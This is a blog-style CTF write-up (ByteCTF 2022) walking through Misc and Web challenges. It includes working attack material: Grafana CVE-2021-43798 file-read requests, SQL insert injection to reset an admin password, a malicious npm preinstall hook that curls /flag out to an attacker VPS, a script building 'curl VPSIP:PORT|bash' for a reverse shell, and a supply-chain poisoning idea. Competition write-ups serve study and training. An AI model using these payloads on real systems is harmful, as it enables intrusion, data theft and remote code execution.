引言

2022 Byte Capture The Flag / ByteCTF

安全范儿高校挑战赛

比赛时间:9月24日10:00—9月25日18:00

https://ctf.bytedance.com/

上周末字节跳动办了个 ByteCTF,今年没有线下决赛,只有线上这一场比赛了。

那周末在集中健康监测,喵喵正好有点时间,就来打了打这比赛。

不过感觉可能队里师傅不一定有空,貌似看题的师傅不大多,唔。

喵喵太菜,这里只能来随便记录点简单题的 writeup 了。

Misc

signin

由于喵喵报名晚了,队友早就报完了,于是咱就自己组了个队来混签到抽奖了,喵呜喵呜喵~

直接来到 /final,抓包,team_id 在团队页面有个请求里返回了 id

然而并没有抽到奖,呜呜

easy_groovy

过滤了一些关键词,包括 exec execute run start invoke …

折腾了老半天,最后寻思着没必要 RCE 啊,整个外带就好了

只需要调 groovy 语言自带的函数,先读 /flag 文件,然后开个 HTTP 请求传出来,自己 vps 接一下 flag 就完事了

payload:

File flag = new File("/flag").text
def res1 = new URL("http://vpsip:port/${flag}").text

See also:

从Jenkins RCE看Groovy代码注入

Groovy Script — Remote Code Execution

(看了官方 wp 才知道是非预期了,原来预期得构造恶意文件,然后远程下载文件到本地并触发 RCE。。

好复杂.jpg

find_it

小明的开发电脑被黑客入侵了,并加密了上面的秘密文件,find it。

是个 .scap 系统抓包文件(?

参考 Premium Lab: HIDS Log Analysis — Sysdig: Malware I

如何使用Sysdig监视您的Ubuntu 16.04系统

发现传了个一句话木马,蚁剑连上去的流量,输入了串 openssl 命令到 bash 脚本,然后执行

openssl enc -aes-128-ecb -in nothing.png -a -e -pass pass:"KFC Crazy Thursday V me 50" -nosalt;

输出的内容在文件里可以拿到

于是导出来到文件 1.txt,拿 openssl 解密一下

openssl enc -aes-128-ecb -in 1.txt -a -d -pass pass:"KFC Crazy Thursday V me 50" -nosalt > 2.png

得到一张二维码图片,扫码得到第一部分 flag

bytectf{53f8fb16-a25d-4aac-

找了半天没找到第二部分 flag 在哪,最后 strings 发现是在个 php 文件名。。

strings find_it-2e157327-a739-42a9-b857-5a50bdf6e3d9.scap | grep '}'

bytectf{53f8fb16-a25d-4aac-bec5-d7563b2672b6}

其实 scap 抓包文件里也有打开 nothing.png 的 syscall,所以其实也能直接搜 png 文件头然后读出来这个图片哈哈哈

BTW,用 mac 的队友说他 openssl 跑不出来,最后改用 kali 就出了,笑死了

官方 writeup 说是 mac和Linux可能openssl版本差异导致默认摘要函数不同

survey

https://wenjuan.feishu.cn/m?t=sic52NjA14Fi-fi7w

填问卷

ByteCTF{Congratulations_on_your_good_results!}

Web

easy_grafana

You must have seen it, so you can hack it

一看 grafana 就想到经典的 CVE-2021-43798

/public/plugins/text/../../../../../../../../../etc/passwd

参考 Grafana 文件读取漏洞分析与汇总(CVE-2021-43798)

CVE-2021-43798 Grafana任意文件读取复现

需要加个 # 绕过 Nginx 400,读配置文件

GET /public/plugins/text/#/../../../../../../../../../etc/grafana/grafana.ini HTTP/1.1
Host: e01195c95f7b49d209b62dcc8984bd4d.2022.capturetheflag.fun
Cookie: redirect_to=%2F
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

得到 secret_key,然后再去读数据库 grafana.db

secret_key = SW2YcwTIb9zpO1hoPsMm
GET /public/plugins/text/#/../../../../../../../../../var/lib/grafana/grafana.db

然后再找个脚本解密一下

https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798

GitHub - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability

从数据库里拿到密码,然后用这个脚本去解密

SELECT secure_json_data FROM data_source;
{"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"}

改一下最后这里

# go get golang.org/x/crypto/pbkdf2
# go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpO1hoPsMm
[*] DataSourcePassword= b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/
[*] plainText= ByteCTF{e292f461-285e-47fc-9210-b9cd233773cb}

ctf_cloud

改编自真实漏洞环境。在云计算日益发达的今天,许多云平台依靠其基础架构为用户提供云上开发功能,允许用户构建自己的应用,但这同样存在风险。

给了源码,可疑的地方不多,也就 sql 注入、文件上传、命令执行

/src/routes/users.js

var express = require('express');
var router = express.Router();
var sqlite3 = require('sqlite3').verbose();
var stringRandom = require('string-random');
var db = new sqlite3.Database('db/users.db');
var passwordCheck = require('../utils/user');

/* login */
router.post('/signin', function(req, res, next) {
    var username = req.body.username;
    var password = req.body.password;

    if (username == '' || password == '')
        return res.json({"code" : -1 , "message" : "Please input username and password."});

    if (!passwordCheck(password))
        return res.json({"code" : -1 , "message" : "Password is not valid."});

    db.get("SELECT * FROM users WHERE NAME = ? AND PASSWORD = ?", [username, password], function(err, row) {
        if (err) {
            console.log(err);
            return res.json({"code" : -1, "message" : "Error executing SQL query"});
        }
        if (!row) {
            return res.json({"code" : -1 , "msg" : "Username or password is incorrect"});
        }
        req.session.is_login = 1;
        if (row.NAME === "admin" && row.PASSWORD == password && row.ACTIVE == 1) {
            req.session.is_admin = 1;
        }
        return res.json({"code" : 0, "message" : "Login successful"});
    });

});

/* register */
router.post('/signup', function(req, res, next) {
    var username = req.body.username;
    var password = req.body.password;

    if (username == '' || password == '')
        return res.json({"code" : -1 , "message" : "Please input username and password."});

    // check if username exists
    db.get("SELECT * FROM users WHERE NAME = ?", [username], function(err, row) {
        if (err) {
            console.log(err);
            return res.json({"code" : -1, "message" : "Error executing SQL query"});
        }
        if (row) {
            console.log(row)
            return res.json({"code" : -1 , "message" : "Username already exists"});
        } else {
            // in case of sql injection , I'll reset admin's password to a new random string every time.
            var randomPassword = stringRandom(100);
            db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});

            // insert new user
            var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
            db.run(sql, [username], function(err) {
                if (err) {
                    console.log(err);
                    return res.json({"code" : -1, "message" : "Error executing SQL query " + sql});
                }
                return res.json({"code" : 0, "message" : "Sign up successful"});
            });
        }
    });
});

/* logout */
router.get('/logout', function(req, res) {
    req.session.is_login = 0;
    req.session.is_admin = 0;
    res.redirect('/');
});

module.exports = router;

主要是59行这里把用户输入的 password 直接拼接到了 sql 语句中

于是存在 sql 注入,可以通过 Insert 注入覆盖掉 admin 的密码

这里的 sql 还说 VALUES,于是可以插入多条数据喵

POST /users/signup HTTP/1.1
Host: deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3A5CNkjDPjekXWaapndSgpEk3SvGDq3k0t.RlV2YIlmL1VXAvsuCjTb1DA8zdtnFxT7Ij0%2F7AOlmHA
Content-Length: 65
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"username": "miao","password":"',0),('admin','123456',1)-- a"}

然后 admin / 123456 登录

再看 /src/routes/dashboard.js 源码

var express = require('express');
var router = express.Router();
var multer  = require('multer');
var path = require('path');
var fs = require('fs');
var cp = require('child_process');
var dependenciesCheck = require('../utils/dashboard');
var upload = multer({dest: '/tmp/'});

var appPath = path.join(__dirname, '../public/app');
var appBackupPath = path.join(__dirname, '../public/app_backup');

/* authentication middleware */
router.use(function(req, res, next) {
    if (!req.session.is_login)
      return res.json({"code" : -1 , "message" : "Please login first."});
   next();
});

/* upload api */
router.post('/upload', upload.any(),function(req, res, next) {
    if (!req.files) {
        return res.json({"code" : -1 , "message" : "Please upload a file."});
    }
    var file = req.files[0];

    // check file name
    if (file.originalname.indexOf('..') !== -1 || file.originalname.indexOf('/') !== -1) {
        return res.json({"code" : -1 , "message" : "File name is not valid."});
    }

    // do upload
    var filePath = path.join(appPath, '/public/uploads/', file.originalname);
    var fileContent = fs.readFileSync(file.path);
    fs.writeFile(filePath, fileContent, function(err) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error writing file."});
        } else {
            res.json({"code" : 0 , "message" : "Upload successful at " + filePath});
        }
    })
});

/* list upload dir */
router.get('/list', function(req, res, next) {
    var files = fs.readdirSync(path.join(appPath, '/public/uploads/'));
    res.json({"code" : 0 , "message" : files});
})

/* reset user app */
router.post('/reset', function(req, res, next) {
    // reset app folder
    cp.exec('rm -rf ' + appPath + '/*', function(err, stdout, stderr) {
       if (err) {
           console.log(err);
           return res.json({"code" : -1 , "message" : "Error resetting app."});
       } else {
           cp.exec('cp -r ' + appBackupPath + '/* ' + appPath + '/', function(err, stdout, stderr) {
               if (err) {
                   console.log(err);
                   return res.json({"code" : -1 , "message" : "Error resetting app."});
               } else {
                   return res.json({"code" : 0 , "message" : "Reset successful"});
               }
           });
       }
    });
})

/* dependencies get router */
router.get('/dependencies', function(req, res, next) {
   res.json({"code" : 0 , "message" : "Please post me your dependencies."});
});

/* set node.js dependencies */
router.post('/dependencies', function(req, res, next) {
    var dependencies = req.body.dependencies;

    // check dependencies
    if (typeof dependencies != 'object' || dependencies === {})
        return res.json({"code" : -1 , "message" : "Please input dependencies."});
    if (!dependenciesCheck(dependencies))
        return res.json({"code" : -1 , "message" : "Dependencies are not valid."});

    // write dependencies to package.json
    var filePath = path.join(appPath, '/package.json');
    var packageJson = {
        "name": "userapp",
        "version": "0.0.1",
        "dependencies": {
        }
    };
    packageJson.dependencies = dependencies;
    var fileContent = JSON.stringify(packageJson);
    fs.writeFile(filePath, fileContent, function(err) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error writing file."});
        } else {
            return res.json({"code" : 0 , "message" : "Set successful"});
        }
    });
});


/* run npm install */
router.post('/run', function(req, res, next) {
    if (!req.session.is_admin)
        return res.json({"code" : -1 , "message" : "Please login as admin."});
    cp.exec('cd ' + appPath + ' && npm i --registry=https://registry.npm.taobao.org', function(err, stdout, stderr) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error running npm install."});
        }
        return res.json({"code" : 0 , "message" : "Run npm install successful"});
    });
});

/* force kill npm install */
router.post('/kill', function(req, res, next) {
    if (!req.session.is_admin)
        return res.json({"code" : -1 , "message" : "Please login as admin."});
    // kill npm process
    cp.exec("ps -ef | grep npm | grep -v grep | awk '{print $2}' | xargs kll -9", function(err, stdout, stderr) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error killing npm install."});
        }
        return res.json({"code" : 0 , "message" : "Kill npm install successful"});
    });
}
);


module.exports = router;

可以上传文件,指定依赖,安装依赖

参考 npm 文档,https://docs.npmjs.com/cli/v8/using-npm/scripts

我们可以构造个 preinstall,让其在安装依赖的流程中执行自己的命令

先构造一个依赖,payload 如下:

{
    "name": "miaoapp",
    "version": "0.0.1",
    "dependencies": {
    },
    "scripts":{
        "preinstall": "curl \"http://vpsip:port/?1=`cat /flag|base64 -w 0`\""
    }
}

注意文件名需要是 package.json

手动改下表单上传 payload

改成 <form action="/dashboard/upload" method="post" enctype='multipart/form-data'>

(你们手糊的前端,上传都不改请求 content-type 的是吧哈哈哈哈

{"code":0,"message":"Upload successful at /usr/local/app/public/app/public/uploads/package.json"}

当然也可以 POST flag 文件到自己的 vps,顺便留个 payload 在这

POST /dashboard/upload HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 457
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJdqpFuVvACB98QB4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryJdqpFuVvACB98QB4
Content-Disposition: form-data; name="file"; filename="package.json"
Content-Type: application/json

{
 "name": "miaoapp",
 "version": "0.0.1",
 "dependencies": {
 },
 "scripts":{
     "preinstall": "curl -F \"[emailprotected]/flag\" http://vpsip:port/"
 }
}

------WebKitFormBoundaryJdqpFuVvACB98QB4--

要是不出网的话,可以重定向输出到 public 目录下,比如执行下面这样的命令

cat /flag > /usr/local/app/public/flag
cp /flag /usr/local/app/public/flag

成功上传,然后指定 dependencies

(这回你们前端直接不糊了是吧

POST /dashboard/dependencies HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 80
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"dependencies":{ "miaoapp":"file:///usr/local/app/public/app/public/uploads/"}}

最后运行安装依赖 run npm install

POST /dashboard/run HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

vps 上成功接收到 flag

还有一种思路,供应链投毒,整个恶意的依赖传到 GitHub 或者 npm 仓库,在安装的时候执行自己的命令,应该也能打通

指定依赖的时候还可以 git+https 这样

typing_game

我是练习时长两年半的nodejs菜鸟,欢迎来玩我写的小游戏

前端是个听单词打字的游戏

给了后端源码 index.js

var express = require('express'); 
var child_process = require('child_process');
const ip = require("ip");
const puppeteer = require("puppeteer");
var app = express(); 
var PORT = process.env.PORT| 13002; 
var HOST = process.env.HOST| "127.0.0.1"
const ipsList = new Map();
const now = ()=>Math.floor(Date.now() / 1000);
app.set('view engine', 'ejs'); 
app.use(express.static('public'))

app.get("/",function(req,res,next){
    var {color,name}= req.query
    res.render("index",{color:color,name:name})
})


app.get("/status",function(req,res,next){
    var  cmd= req.query.cmd? req.query.cmd:"ps"
	var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
	console.log(rip)
    if (cmd.length > 4 || !ip.isPrivate(rip)) return res.send("hacker!!!")
    const result = child_process.spawnSync(cmd,{shell:true});
	out = result.stdout.toString();
	res.send(out)
})

app.get('/report', async function(req, res){
	const url = req.query.url;
	var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
	if(ipsList.has(rip) && ipsList.get(rip)+30 > now()){
		return res.send(`Please comeback ${ipsList.get(rip)+30-now()}s later!`);
	}
	ipsList.set(rip,now());
	const browser = await puppeteer.launch({headless: true,executablePath: '/usr/bin/google-chrome',args: ['--no-sandbox', '--disable-gpu','--ignore-certificate-errors','--ignore-certificate-errors-spki-list']});
	const page = await browser.newPage();
	try{
		await page.goto(url,{
	  		timeout: 10000
		});
		await new Promise(resolve => setTimeout(resolve, 10e3));
	} catch(e){}
	await page.close();
	await browser.close();
	res.send("OK");
});

app.get("/ping",function(req,res,next){
    res.send("pong")
})


app.listen(PORT,HOST, function(err){ 
    if (err) console.log(err); 
    console.log(`Server listening on ${HOST}:${PORT}`); 
});

四字符命令注入的打法

/status 接口有个4字符的命令注入,/report 接口可以 CSRF/SSRF 打本地

参考以前喵喵写的那篇 CTF | 限制长度下的命令执行 技巧汇总,正好有四字节命令执行的参考 exp

但是这里文件夹不是空的,需要首先执行 rm * 删除目录下的文件

这可能会影响前端的静态文件加载不出来,但后端程序已经加载到内存中了,因此不受影响

https://xxxxxxxxx.2022.capturetheflag.fun/report?url=http%3A%2F%2F127%2E0%2E0%2E1%3A13002%2Fstatus%3Fcmd%3Drm%20%2A

然后改一改 exp,这里他有个 30s 的请求频率限制,那就 sleep 等等呗。

# encoding:utf-8
import re
import time
import requests
from urllib.parse import quote

baseurl = "https://xxxxxxxxxx.2022.capturetheflag.fun/report?url=http%3A%2F%2F127%2E0%2E0%2E1%3A13002%2Fstatus%3Fcmd%3D"

s = requests.session()

# 将ls -t 写入文件_
# list1 = [
#     ">ls\\",
#     "ls>_",
#     ">\ \\",
#     ">-t\\",
#     ">\>y",
#     "ls>>_"
# ]

# 文件 x 内容为 ls -th > g
list1 = [
    ">sl",
    ">ht-",
    ">g\>",
    ">dir",
    "*>v",
    ">rev",
    "*v>x"
]

# curl VPSIP:PORT|bash
list2 = [
    ">bash",
    ">\|\\",
    ">11\\",
    ">11\\",
    ">1:\\",
    ">11\\",
    ">1.\\",
    ">11\\",
    ">11.\\",
    ">11.\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]


def send_request(url):
    while True:
        r = s.get(url)
        r.encoding = 'utf-8'
        print('==>', r.text)
        if 'Please comeback' in r.text:
            t = re.search(r"(\d+)s", r.text)[1]
            print(t)
            time.sleep(int(t) + 0.3)
        else:
            break


for i in list1:
    url = baseurl + quote(str(i))
    print("sending", quote(i))
    send_request(url)

for j in list2:
    url = baseurl + quote(str(j))
    print("sending", quote(j))
    send_request(url)

print('sh x')
send_request(baseurl + quote("sh x"))

print('sh g')
send_request(baseurl + quote("sh g"))

vps 上开个端口监听,慢慢等他请求发完,然后接收到 shell 后执行 env,就能在环境变量里找到 flag

(很明显是非预期,居然没把环境变量清除,哈哈哈

XSS 的打法

前端 game.js

const word = document.getElementById('word');
const text = document.getElementById('text');
const scoreEl = document.getElementById('score');
const timeEl = document.getElementById('time');
const endgameEl = document.getElementById('end-game-container');
// List of words for game
const words = [
    'web',
    'bytedance',
    'ctf',
    'sing',
    'jump',
    'rap',
    'basketball',
    'hello',
    'world',
    'fighting',
    'flag',
    'game',
    'happy'
].sort(function() {
    return .5 - Math.random();
});
let words_l = 0
let randomWord;
let score = 0;
let time = 26;
text.focus();
const timeInterval = setInterval(updateTime, 1000);
function addWordToDOM() {
    randomWord = words[words_l];
    words_l++
    word.setAttribute("src",randomWord+".mp3")
    word.innerHTML = randomWord;
}

function updateScore() {
    score++;
    scoreEl.innerHTML = score;
}
function updateTime() {
    time--;
    timeEl.innerHTML = time + 's';
    if (time === 0 || score >=words.length ) {
        clearInterval(timeInterval);
        word.parentElement.removeChild(word)
        gameOver();
    }
}
function gameOver() {
    if (score >= words.length) {
        const params = new URLSearchParams(window.location.search)
        const username = params.get('name');
        endgameEl.innerHTML = `
    <h1>^_^</h1>
    Dear ${username},Congratulations on your success.Your final score is ${score}`;
    endgameEl.style.display = 'flex';
    } else {
        score=0
        endgameEl.innerHTML = `
    <h1>*_*</h1>
    Try again`;
    endgameEl.style.display = 'flex';
    }

}

addWordToDOM();
// Typing
function typing(insertedText){
    if (insertedText === randomWord) {
        addWordToDOM();
        updateScore();
        document.querySelector("#text").value = '';
        updateTime();
    }
}

text.addEventListener('input', e => {
    typing(e.target.value)
});
addEventListener("hashchange",e=>{
    typing(location.hash.replace("#","").split("?")[0])
})

gameOver 里修改了 endgameEl.innerHTML,这里的 username 可以 XSS

但是需要先打完游戏才行,在上面的前端 js 中 addWordToDOM 函数里可以发现把音频设置成了单词名称所对应的,而 CSS 里可以注入 color 来 leak 当前的单词,js 里监听了 hashchange 事件,于是可以通过修改 url 里的 # 后面的部分来实现调用 typing 函数输入。

这里他服务器都上了 https,因此 vps 上打远程的话也要自己整个 ssl 证书,而且跨域设置好,比如 flask

@app.after_request
def after_request(response):
    response.headers.add('Access-Control-Allow-Origin', '*')
    response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
    response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS')
    return response

或者

@app.route('/')
@cross_origin(origins="*")
def index():
    return "meow"

然而咱这里没来得及复现,喵呜

可以参考下 W&M 这题的 writeup

他们这里还用到了个延迟加载的 deelay.me 这玩意,可以在 XSS 的时候搭配一张慢加载的图片来卡住页面渲染,同时在此期间让 js 执行一些耗时的操作,不至于页面渲染完成后直接退出

<body>
prevent page recycle
<img src="https://deelay.me/50000/https://picsum.photos/200/300"/>
</body>

Delay proxy for http resources

Slow loading resources (images, scripts, etc) can break your application.
With this proxy you can simulate unexpected network conditions when loading a specific resource.

Usage:
https://deelay.me/<delay in milliseconds>/<original url>
eg. https://deelay.me/5000/https://picsum.photos/200/300

https://deelay.me/
https://github.com/biesiad/deelay

小结

ByteCTF 的题目质量还是可以的,可是喵喵好菜啊,呜呜

就先这样吧,最近感觉没那么多时间也没那么大兴致打比赛了,唔

最后,国庆快乐喵~

官方 Writeup 出来了:

https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh

挺详细的,感人

溜了溜了喵(